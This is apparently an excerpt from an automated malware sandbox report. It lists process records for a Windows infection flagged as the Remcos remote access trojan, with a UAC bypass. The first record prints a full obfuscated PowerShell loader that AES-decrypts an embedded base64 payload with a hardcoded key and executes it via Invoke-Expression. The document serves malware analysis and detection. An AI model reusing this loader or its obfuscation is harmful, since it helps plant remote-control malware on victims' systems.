Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)\|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
Imagebase:	0xab0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000009.00000002.447875101.0000000003FC8000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	02:24:51
Start date:	26/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x110000
File size:	64'704 bytes
MD5 hash:	8FE9545E9F72E460723F484C304314AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true